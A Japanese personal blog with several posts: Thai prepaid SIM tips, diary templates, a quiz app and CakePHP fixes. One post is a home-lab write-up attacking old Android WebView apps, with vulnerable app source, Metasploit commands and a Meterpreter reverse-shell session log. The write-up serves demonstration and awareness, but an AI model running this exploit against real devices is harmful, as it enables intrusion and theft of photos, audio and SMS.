タイリピーターのプリペイドSIMはDtac一択で決まり!?

はじめに

結構前になってしまうのですが、
AISプリペイドSIMの有効期限を月15Bで延長できた!?
という記事を紹介しました。

タイリピータとして、携帯やスマホのプリペイド番号を保持しておくのは、搭乗機が空港について安全ベルト装着のサインが消えた瞬間からの行動に違いが出せるので、重要です。

ここでは、プリペイド番号保持(つまり有効期限延長のことです)の方法に関して、

  • いつでもどこでも簡単に設定できること
    • スマホからアプリを使って設定できます
    • 帰国してからも延長できそうです
  • 安いこと
    • 年24バーツになります

の最新(2018年5月ですが)情報を提供したいと思います。

おまけとして、

  • 複数のSIMの残高(balance)をまとめられること
    • 家族分のSIMの残高(balance)をまとめる
    • 自分用の(データ用と通話用など)複数のSIMの残高(balance)をまとめる

の紹介もしたいと思います。

注意点

  • SIMフリーの「スマホ」が必要です
    • 「携帯」だと後述するアプリが使えないと思われるので注意してください
  • お使いのSIMで200バーツ以上使っていること
    • HAPPYツーリストSIMなら種類によっては即クリアできる条件ですので簡単です
  • 帰国してからの設定を有効にするには、国際ローミングを有効にしていること
    • 帰国する前に設定しておくことが必要です

年間180バーツが年間24バーツと、格段にコストが下がりました。

やり方

ひとことでいうと「スマホにDtacアプリをインストールしてちょこちょこやる」です。

DtacアプリはPlayストアやAppleストアで簡単に探せます(日本でも)。
ただ、(日本でもタイでも)DtacのSIMを刺した状態でないと、起動したときログインが必要になりますので、極力タイにいるときに設定することを勧めます。

ちょっと前には考えられなかったアプリです。いつもSMSによるコード送信でしたので。PCでいうCUIとGUIの違いのような...
ネットにも、公式ページ以外にはほとんど情報もなく、アプリの画像も出てこない状態でした。

これから紹介する有効期限延長サービス(Day Give-away Service)や残高移行サービス(Balnce Transfer Service)のアプリ画像もネットでは見たことがありませんでしたが、タイ語のサイトなどに出ているんでしょうかね。

有効期限延長サービス(Day Give-away Service)

アプリを立ち上げた直後はこんな風です。

下のメニュの中のPackegeが選択されている状態のようです。

このメニュの右端にあるOtherを選択すると、

電話番号が表示され、国際ローミング設定やらアプリ設定やらが出てきますが、Jaideeを選択します。

上から2番目にあるDay-GiveAway-Serviceを選択します。


60日、90日、180日のうち、180日(12バーツ)を申し込んだあとに来たSMSです。

残高移行サービス(Balnce Transfer Service)

私の場合これ良く使います。タイ滞在中はデータ用SIMと通話用SIMを併用していて、データ用SIMの電話番号は保持しても仕方ないので、帰国直前に残高を通話用SIMへ移行しています。

上から3番目にあるBalance-Transfer-Serviceを選択します。

残高移行先の電話番号と移行金額を入れて申し込みます。

受け付けたことをSMSで知らせてくれます。アプリでも確認できます。

※手数料が2バーツ掛かりますので注意してください

国際ローミングサービス(International Roaming Service)

上の設定もそうですが、通話(電話)アプリから特殊なコードをSMS送信することで設定できます。

通話(電話)アプリのダイヤルPADで以下をダイヤルする

*118*9#

アプリでも設定できそうです。「できそうです」というのは歯切れの悪い言い方ですが、
私自身はSMSによる設定で済ませてしまいました。

上にも出てきたOtherを選択した画面です。

この中にある、International-Serviceを選択します。

japanを選択すれば国際ローミングサービスの設定ができるようです(未確認)。

あとがき

使用言語がタイ語と英語ともうひとつ(よくわからない言語です)あるようです。

内容は簡単なのでこのページを参考に設定してみてください。
#「Jaidee」は「親切、優しい」の意味だそうです。ハートのアイコンですもんね!

以上です。

実験してみました!Android 4.2.x以下のAndroid端末(スマホやタブレット)は本当にやばいです!

ここのリンクにもあるように、Android 4.2.x以下のAndroid端末のAndroid全端末に占める割合は約50%です。50%のAndroid端末の台数は膨大な数になります。数億台?そしてこれら50%の端末に潜在する可能性のある脆弱性(*1)について実験してみました。
結果は、手近にあったAndroid端末4台中2台に脆弱性が残っており、「端末に保存されている画像入手は当たり前。アプリに対するパーミッションによっては端末内蔵カメラによるスナップ撮影も可能」という結果になりました。

*1:Attacks on Android WebViews

どういう端末が危ないか

1.Android 4.2.x(APIは17)以下のOSを搭載するAndroid端末
2.WebViewクラスを使用したアプリをインストールして起動
3.インタネットへのアクセスを許可

これだけで、端末内に保存されている写真や音声やSMSを抜かれる可能性があります。

さらに、

4.カメラ、マイク、連絡先、SMSなどへのアクセスを許可

などしていると、場合によっては内蔵カメラで写真を撮られたり、マイクで録音されたり、SMS送信されたりしてしまう可能性があります。

なので上記2のWebViewクラスを使用したアプリが、「悪意のある」アプリの場合本当にやばいと思われます

実験内容

1.アプリ作成
Java言語でWebViewクラスを宣言した50行ほどのコードにインタネットアクセス許可をつけただけのスマホアプリ(vulnWebView.apk)を作成。またカメラ等へのアクセスを実験するため、カメラ、マイク、SMS、カレンダ、連絡先へのパーミッションをつけた別バージョンのスマホアプリ(vulnWebViewAll.apk)も作成

2.侵入ホストにて端末からのアクセスを待機
侵入テスト用Frameworkである「Metasploit」から脆弱性をついたExploitを使用して、Android端末上で上記スマホアプリが実行されるのを待機

3.端末上でアプリ実行
Android端末に上記スマホアプリをインストールして実行。(HOMEPAGEやSDCARDや共有フォルダ経由などなんでもよい)ダウンロードしてインストール

4.侵入ホストより侵入
脆弱性の条件が合って接続できれば、画像や音声等のデータを入手してみるさらに端末内蔵のカメラでスナップ撮影。マイクからの録音も。

ターゲット環境

・HTC Butterfly J:os4.1.1
・SonyTabletS:os4.0.3
・GalaxyS3Progre:os4.1.2
・ArrowsNX_F_01F:os4.2.2
・全端末はLAN接続

侵入ホスト環境

・VMWare(7.1.0 build-2496824) on Win7 Home Premium Edition
・Kali Linux3(CD-ROM)でインストール後UpdateおよびUpgrade完了。GitHubによる最新化はしていない
・Metasploit Framework Version: 4.11.3-2015062101
(msfconsoleのバージョン表示から)
・ターゲット端末と同じLANに接続

WebViewクラス使用アプリの作成

GitHubに実験用のJavaソース(というよりproject)が公開されており、それを使って実験してみました。ただそのままではうまく動作せず、下記に従いコードを変更しました。

変更点1:LoadUrlの呼び出しではPORTを陽に指定する必要があること
変更点2:処理途中にRedirectがありその場合にWebViewではなく通常のブラウザが呼ばれてしまいうまく動作しない。それを防ぐコードを追加したこと
変更点3:侵入端末への接続情報、すなわちIPアドレス、ポート番号、およびURIをアプリから指定できるようにしてあります。

package com.krasavkana.vulnwebview;

import android.os.Bundle;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.view.Menu;
import android.view.View;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.EditText;

@SuppressLint("SetJavaScriptEnabled")
public class MainActivity extends Activity {

private static EditText edittext1;
private static EditText edittext2;
private static EditText edittext3;
private static WebView myWebView;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

final Button button = (Button) findViewById(R.id.button1);

// set LHOST 192.168.1.30
edittext1 = (EditText) findViewById(R.id.edittext1);
// set SVRPORT 8080
edittext2 = (EditText) findViewById(R.id.edittext2);
// set URIPATH /aaaaaaaa
edittext3 = (EditText) findViewById(R.id.edittext3);

myWebView = (WebView) findViewById(R.id.webView1);

// not a good idea!
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);

// terrible idea!
myWebView.addJavascriptInterface(new WebAppInterface(this), "Android");

myWebView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
return super.shouldOverrideUrlLoading(view, url);
}
});

// woot.
//myWebView.loadUrl(edittext.getText().toString());

button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Perform action on click
loadUrl();
}
});

}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

private void loadUrl() {
String uri="http://"+edittext1.getText().toString()+":"+edittext2.getText().toString()+edittext3.getText().toString();
myWebView.loadUrl(uri);
// myWebView.reload();
}

}

実験結果

・HTC Butterfly J(os4.1.1):侵入NG(条件のうちvuln_testがFalseで合わないらしい)
・SonyTabletS(os4.0.3):侵入NG(ただし条件は合うようだ)
・GalaxyS3Progre(os4.1.2):侵入OK。カメラへのアクセス許可があればスナップ撮影が可能
・ArrowsNX_F_01F(os4.2.2):侵入OK。カメラへのアクセス許可があってもスナップ撮影は不可。
マイクによる音声入力は長いもの(60秒)は不可

以下は、GalaxyS3Progreに侵入テストしたときのコンソール画面です。

root@kali:~# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.3-2015062101 [core:4.11.3.pre.2015062101 api:1.0.0]]
+ -- --=[ 1463 exploits - 838 auxiliary - 229 post        ]
+ -- --=[ 428 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use android/browser/webview_addjavascriptinterface
msf exploit(webview_addjavascriptinterface) > set LPORT 192.168.1.30
LPORT => 192.168.1.30
msf exploit(webview_addjavascriptinterface) > set URIPATH /aaaaaaaa
URIPATH => /aaaaaaaa
msf exploit(webview_addjavascriptinterface) > set VERBOSE true
VERBOSE => true
msf exploit(webview_addjavascriptinterface) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.30:4444 
[*] Using URL: http://0.0.0.0:8080/aaaaaaaa
[*] Local IP: http://192.168.1.30:8080/aaaaaaaa
[*] Server started.
msf exploit(webview_addjavascriptinterface) > 
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - No cookie received, resorting to headers hash.
[*] 192.168.1.108    webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.108    webview_addjavascriptinterface - Sending HTML response.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Info receiver page called.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received sniffed browser data over POST: 
{"os_name"=>["Android"], "os_vendor"=>["undefined"], "os_device"=>["undefined"], "ua_name"=>["Safari"], "ua_ver"=>["4.0"], "arch"=>["armle"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"], "vuln_test"=>["true"]}.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Serving exploit to user with tag oZbIEOhlGk
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Setting target "oZbIEOhlGk" to :tried.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: source=script vs source=script
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: os_name=(?-mix:^(?:Google )?Android) vs os_name=Android
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: vuln_test=true vs vuln_test=true
[*] 192.168.1.108    webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (45338 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 192.168.1.108:44195) at 2015-06-28 15:49:42 -0700

msf exploit(webview_addjavascriptinterface) > sessions

Active sessions
===============

  Id  Type                      Information  Connection
  --  ----                      -----------  ----------
  1   meterpreter java/android   @ localhost  192.168.1.30:4444 -> 192.168.1.108:44195 (192.168.1.108)

msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ls
Listing: /data/data/com.krasavkana.vulnwebview
==============================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  11768  fil   2015-06-28 15:49:41 -0700  abaeJ.dex
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  cache
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  databases
40444/r--r--r--   4096   dir   2015-06-28 15:49:14 -0700  lib

meterpreter > pwd
/data/data/com.krasavkana.vulnwebview
meterpreter > cd ..
meterpreter > pwd
/data/data

実験で使ったAPKファイル

掲載不要かもしれませんが、自分でも実験したり侵入テストしてみたりしたい方のために、今回作成したWebView使用アプリのAPKファイルを置いておきます。IPアドレス、ポート、サーバのURIを変更できる設計にしましたので、ここで実験したことが再現できると思います。ただくれぐれもLAN等閉鎖されたところで実験してください。

インタネットアクセスのみのVunWebView.apk
インタネットアクセスの他カメラ、マイク、カレンダ、連絡先、SMSへのアクセスを許可するVunWebView.apk

因みに、GooglePlayに出している(*2)Androidアプリが数点あるのですが、そのうち1点がWebViewクラスを使用しています。心配になったので、LoadUrlメソッドで呼び出しているURIに、ここで使った侵入ホストを指定して実験してみましたが、脆弱性がつけなかったのか侵入できませんでした。理由はaddJavascriptInterfaceメソッドを使っていないからだと思っています。

*2:実はつい最近ですが、GooglePlayから削除されていることが判明しました。Googleからデベロッパ宛にPolicy変更等の通知が来るのですが、暫くの間見れないことがあって、その間に期限切れになり、結果「削除」になってしまったようです。

他の脆弱性について

今回の実験で使用した脆弱性の他にも、さまざまな脆弱性が発見されており、アンチウイルスのメーカ等と侵入者とのいたちごっこが続いています。

私たちエンドユーザとしては、

・OSはできるだけUpdateをすること、
・怪しいアプリはインストールしないこと、
・重要な情報は端末に残さないか暗号化しておく、

などができ得る対策ですが、十分に気をつけましょう。

関連する記事・ページ

お世話になったリンク

Attacks on Android WebViews
rapid7/metasploit-framework
WebViewのリダイレクト時のブラウザ起動防止
以上です。

iPad手書きアプリ「Noteshelf」向け能率手帳風テンプレートを作ってみました

膨大な数のiPadアプリの中でも、Must-Haveなものの一つとして定評のある手書きアプリ「Noteshelf」。とにかく書き心地がよくて、本当に癖になります。でも、ここ一年程セキュリティーの厳しい職場だったためスマホやタブレットなど録音や録画、撮影が可能なデバイスは休止して所謂システム手帳を使っていました。能率手帳Bindexから出ているDiaryリフィルをひさしぶりに手に入れて使ってみましたがこれが素晴らしい。「Noteshelf」に戻れなくなるんじゃないかと考えた程でした。

そこで「Noteshelf」と「能率手帳」風Diaryの好いとこ取りをしようと、能率手帳風「紙のスタイル」の元データをHTML5+CSSで作成してみました。

標準の「紙のスタイル」の中にも「日程表」が提供されていますが

「日程表」という「紙のスタイル」が元々提供されており、これでも大丈夫そうですが、やはり使い慣れたものがいいですよね。HTML5+CSSで作成してみました。

能率手帳風Diary表示ページはこちら

スリム版はこちら。1ページにメモとスケジュールを収めました

スリム版V2はこちら。複数日のPDF出力のため基準日と日数を指定できるようにしました
スリム版V2の2017年版はこちら。2017年元日から365日分表示します。印刷にPrimoPDF等のPDF出力アプリを使えばNoteshelfで使えます
スリム版V2の当月分はこちら。ただし31日分でるので変更するときはURLのパラメータを変えてください

月間目標版はこちら。2015年と2016年があります

日付部分のみ一週間分表示はこちら

左上にある日付の場所をタッチすると日付選択ができ、右上や左上にある日付に関連する表示を変更してくれます。能率手帳風Diaryの左ページ(メモ用)と右ページ(スケジュールやチェックリスト)を一度に表示します。iPad等で画像を取り込むときは、左右のページをそれぞれ取り込むか、横向き使用を想定して一度に取り込むかします。

iPadでの表示テストは初代iPad-miniを使用しており、新iPad-miniを含み歴代の標準サイズのiPadでは試していません。解像度の関係で表示結果がまちまちになるかも知れません。

iPad手書きアプリ「Noteshelf」への取り込み方法

ステップ1:iPadで上記ページにアクセスしてDiaryページを表示する

ステップ2:電源ボタン+ホームボタンの同時ONでDiaryページの画像を保存する

ステップ3:「Noteshelf」アプリを起動して

ステップ4:「ノートの新規作成」(書棚モードの右隅にある「+」を丸で囲んだアイコンをタッチ)

ステップ5:「ノートをカスタマイズ」の上段を「すべてのスタイル」から「カスタム」に変更

ステップ6:スタイルの新規追加でステップ2で保存した画像を設定する

カスタム「紙のスタイル」にはダイナミック表示の機能がない

カスタムスタイルを作ったのはいいのですが、自分であれこれ使ってみて、カスタム「紙のスタイル」にいちいち登録して使うのは根気が必要だと感じました。もちろん、日付部分を空にして手書きで入れればいいのですが、それだと「日程表」と変わらなくなり、ちょっとつまらない。

ストアで探せばいいのかな?

やはりダイナミックな「紙のスタイル」というのは原理的に難しいのでしょうね。しばらく使ってみていろいろ工夫してみようと思います。

DropboxなどからPDFを読み込む方法もあるようです

Noteshelfではテンプレートを使ってノートを作成する方法のほかに、DropboxなどからPDFを読み込む方法があるようです。これだと複数ページにわたるテンプレートのように使うことができますね。
スリム版をH30年(西暦2018年)分でまとめたPDFはこちら
スリム版をH29年(西暦2017年)分でまとめたPDFはこちら

関連する記事・ページ

お世話になったリンク

バックアップのためのリンク

スリム版をH29年12月分でまとめたPDFはこちら
スリム版をH29年11月分でまとめたPDFはこちら
スリム版をH29年10月分でまとめたPDFはこちら
スリム版をH29年9月分でまとめたPDFはこちら
スリム版をH29年8月分でまとめたPDFはこちら
スリム版をH29年7月分でまとめたPDFはこちら
スリム版をH29年6月分でまとめたPDFはこちら
スリム版をH29年5月分でまとめたPDFはこちら
スリム版をH29年4月分でまとめたPDFはこちら
スリム版をH29年3月分でまとめたPDFはこちら
スリム版をH29年2月分でまとめたPDFはこちら
スリム版をH29年1月分でまとめたPDFはこちら
スリム版をH28年12月分でまとめたPDFはこちら
スリム版をH28年11月分でまとめたPDFはこちら
スリム版をH28年10月分でまとめたPDFはこちら
スリム版をH28年9月分でまとめたPDFはこちら
スリム版をH28年8月分でまとめたPDFはこちら
スリム版をH28年7月分でまとめたPDFはこちら
スリム版をH28年6月分でまとめたPDFはこちら
スリム版をH28年5月分でまとめたPDFはこちら
スリム版をH28年4月分でまとめたPDFはこちら
スリム版をH28年3月分でまとめたPDFはこちら
スリム版をH28年2月分でまとめたPDFはこちら
スリム版をH28年1月分でまとめたPDFはこちら
スリム版をH27年12月分でまとめたPDFはこちら
スリム版をH27年11月分でまとめたPDFはこちら
スリム版をH27年10月分でまとめたPDFはこちら
スリム版をH27年9月分でまとめたPDFはこちら
スリム版をH27年8月分でまとめたPDFはこちら
スリム版をH27年7月分でまとめたPDFはこちら
スリム版をH27年6月分でまとめたPDFはこちら
スリム版をH27年5月分でまとめたPDFはこちら
以上です。

流行りのフレームワークで作りました!「暗記の井戸クラウド」をβリリース

Javascript(jQuery)のMVCフレームワークというのか、いわゆるBackbone.jsと、アプリケーションサーバが不要なCakePHPを組み合わせた「暗記の井戸クラウド」をβリリースします。

スマホ版
タブレット版
PC版

※上記URLの最初にある「krapsiup」は、「quizpark」から来ています。お気づきになられた方もいらっしゃるかと思いますが、「park」を並べ替えると「krap」に、「quiz」を鏡面でみる(裏から眺める?)と「siup」になります

暗記の井戸シリーズの中でコード量が圧倒的に少なくなったにも関わらず、結構いろいろ拡張できそうな予感もあり、面白いと感じています。

とりあえずは、本サイトで紹介している「暗記データ例」を、PCでもスマホでも同じデータをいつでもどこでも参照できるようにしました。例えオフラインになっても最後にアクセスしたデータが残ってますので、気合を入れて暗記に集中できます。

画面は3種類あります

BOX画面、LIST画面、QUIZ画面の3種類。他に各種設定や編集画面がありますが、主なものは左記の3つです。

  • [BOX画面]メールボックスのリストような画面で、クイズ(問題)の集まりのリストです。
  • [LIST画面]メールボックスのような画面で、クイズ(問題)の集まりです。
  • [QUIZ画面]メッセージのような画面で、、クイズ(問題)の詳細です。画面の上半分にクイズ(問題)、下半分にアンサー(解答)、がそれぞれ表示されます

タイムトライアル機能を入れました

タイムトライアル機能?を入れてみました。画面の上半分をタッチ(もしくはクリック)すると機能をON/OFFできます。
※タイムトライアルの時間を変更できます。「BOX画面」下の「Settings」から「TimeTrialInterval」の数字を変更します。単位は秒数です(初期値は10)

「QUIZ画面」の前後移動は画面のタッチで

「QUIZ画面」の下半分の左側をタッチするとひとつ前の問題の「QUIZ画面」に移動します。右半分をタッチするとひとつ後の問題の「QUIZ画面」に移動します

※前後への移動でなく任意の問題の「QUIZ画面」に移動したい場合には、一旦LIST画面に戻ってから問題を選択します

関連する記事・ページ

暗記データ例 | 暗記の井戸HTML5
あなた方は神です!?古いCakePHPの導入で先人の知恵を拝借

お世話になったリンク

[CakePHP] JSON出力時にstring型をint型に戻す | XPages、ロータスノーツ・ドミノのモバイル・WEBアプリの開発・相談ならKTrick LLC.
AJAX ? CakePHP Cookbook v1.3 documentation
CakePHPでビューやレイアウトを使わない方法。 | Wataame Frog
Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

以上です。

あなた方は神です!?古いCakePHPの導入で先人の知恵を拝借

現在開発中のシステムではDBアクセスにCakephpを使っています。最新版で開発したものを、レンタルサーバの環境に合わせて調整する必要があり、その際に苦労したことを書いてみたいと思います。個人と組織。そのいづれがその能力を発揮できるのか。システム開発で参考になるネットの情報は個人から発信された情報が殆どだと思います。この記事がその一助になればと思います。

「Cakephp」とは

「Cakephp」とは、小・中規模WEBアプリケーションでは大きなシェアを占めるPHPのフレームワークのひとつです。サーバ(DBへのアクセスが主体)とのアクセスモジュールとしてみると、生PHPで書くのとは格段に違う生産性と読み易さが得られますし、単体でもMVCが構築できる秀逸なオープンソースです。

現在利用している「HostGator」などの格安レンタルサーバでもPHPがデフォルトで導入されています。今ご覧になっている本ブログのCMSであるWordPress自体がまさにPHPで書かれていて、MySQL仕様のDBともPHPでアクセスします。

生のPHPで書くシステムを企業やら行政やら金融やらで使えるようにする場合、コード量は現在の10倍以上になるでしょう。いろいろなケースに想定しないといけないからです。生PHPで簡単に書いたコードは「裸でジャングルに入るようなもの」なんでしょうね。

それに比べるとCakephpなどのフレームワークでは、「裸で」に比べるとかなり改善されるようです。いろいろ例外的な状況への対処が簡単な仕組みにカプセル化されているとのこと。すばらしいですね。これまで一生懸命条件分岐のコードを書いていたのは「何だったんだろう!あの時間を返してくれ!」と思わせるものがあります。

こうしてみるとメリットばかりのように見えますが、そうでもありません。学習のためのコストが掛かったりします。そしてもうひとつ重要なのがレンタルサーバなど自分で自由に環境構築できない場所での扱いです。例えば「HostGator」の場合PHPの版数がちょっと古いんです。古いのは安定につながるのでそれはそれで仕方ありませんが、こうした新しいものを取り入れるときにちょっとした障壁になりえます。

「HostGator」でCakePHP2.xxが使えない

「HostGator」がサポートするPHPの現在の版数は5.2.17です。CakePHP2.xxのサポート版数より低いです。フレームワークによってはベースとなるシステムの版数が低くても使えるものが多いんですけどね。CakePHPは違いました。受け付けてくれません

で、結局開発につかったCakePHP2.xxではなくCakePHP1.xxを導入せざるを得なくなりました。それでもJavaサーブレットやStrutsに比べるとかなりましです。Tomcat6などのアプリケーションサーバ環境自体を用意する必要がないからです。

格安レンタルサーバでアプリケーションサーバ環境をデフォルトで用意してくれるところはあるのでしょうかね。

新しい版から古い版へのフレームワークのマイグレーションは大変?

古い版のものには、リリースされて時間が経つ分皆が使っているので、情報が揃っています。ただ、新しい版のものでできたことを古い版でやろうとするとちょっとハードルが高いです。

もちろん、いきなりレンタルサーバにUPLOADしてコードをいじることはありません。まずはローカルな環境で古いCakePHP1.xxを入れて、それから本番環境にマイグレーションします。

ただし、ローカルに構築したそうした環境で動作するからといってレンタルサーバにそれをそのままコピペしても同じように動くとは限りません。逆に「まったく同じに動くことはないのだ」と思ったほうが幸せになれます

日本語のシステムなら「database.php」の「utf8」設定を有効に

これも「まったく同じに動くことはないのだ」のひとつですが、「database.php」の「utf8」設定を、ローカルでは外して動作していました。このときの「動作していました」の意味はキチンと日本語が見れましたの意味です。レンタルサーバでは日本語がみな「????????」と表記されるのです。まず、DBの中身をいろいろ調べ、次にローカルとの間でコードの違いを調べました。これに数時間も費やして、結局「utf8」を陽に設定すれば即解決しました。

JSON用のserialize機能がCakePHP1.xxにはない!

開発中のシステムは、CakePHPが動くサーバとAjaxで通信するAjaxアプリケーションから構成されます。こうした場合情報のやりとりにはJSONを使うのが定石のようですので、CakePHP2.xxでもそうした実装をしていました。たった2行書くだけでJSONをserialize出力できる便利な機能があるんですね。

ところがこの機能がCakePHP1.xxにはありません。当然ローカル環境でも遭遇しました。そこで、「お世話になったリンク」にもあるように、(CakePHP2.xxでは必要なかった)Viewの定義と、デフォルトLayoutsをバイパスしてあげることの2点で問題が解決しました。

Controller内でArray_map関数を使うとエラーになってしまう

次に、CakePHPのController定義で、レスポンスオブジェクトにある余計な情報を削除するため、Array_map関数をつかったところ、レンタルサーバでエラーになりました。ローカル環境では全く問題なかったのに。不思議です。

function index(){

    $this->layout = "";
    $shares = $this->Share->find('all');
    $shares = array_map(funtion($e){
        return $e['Share'];
    },$shares);
    $this->set('datas', $shares);
}

結局、次のように無名関数の定義を止めたら通りました。

function index(){

    function res($e){return $e['Share'];}// only Hostgator does this way!!!

    $this->layout = "";
    $shares = $this->Share->find('all');
    $shares = array_map("res",$shares);
    $this->set('datas', $shares);
}

極めつけはこれ。こんな情報どこにもなかった。あなたは神です

以上はCakePHPがDBにアクセスして一覧を出力するところに関連する部分になります。

ここからは通信方向が逆でAjaxアプリからCakePHPへのXmlHttpRequstのPUTリクエストに関するものです。POSTでも同じ方向のやりとりが発生します。URL情報と並行してテキストやストリームなどの情報が渡されます。

CakePHPのController定義内でこの情報にアクセスするには「this.requst」というオブジェクトを使います。でも下記リンクにもあるようにこれがあろうことか「null(空の意味)」になってしまいお手上げ状態です。いろいろ調べても本来渡されてくるべき情報がないので途方にくれていたところ、本当に凄い裏技を発見、というか、凄い裏技を発見した方がいました。こんな発見必要ないひとには本当に何でもないことですが、開発している最中にこれに出会ったときには「神がいらした」と感動しました。

Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

$this->data = json_decode(file_get_contents('php://input'));

こんなコードどうやって調べたんだろう!

結構複雑でわかりにくい話ですみません

関連する記事・ページ

お世話になったリンク

[CakePHP] JSON出力時にstring型をint型に戻す | XPages、ロータスノーツ・ドミノのモバイル・WEBアプリの開発・相談ならKTrick LLC.
AJAX ? CakePHP Cookbook v1.3 documentation
CakePHPでビューやレイアウトを使わない方法。 | Wataame Frog
Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

以上です。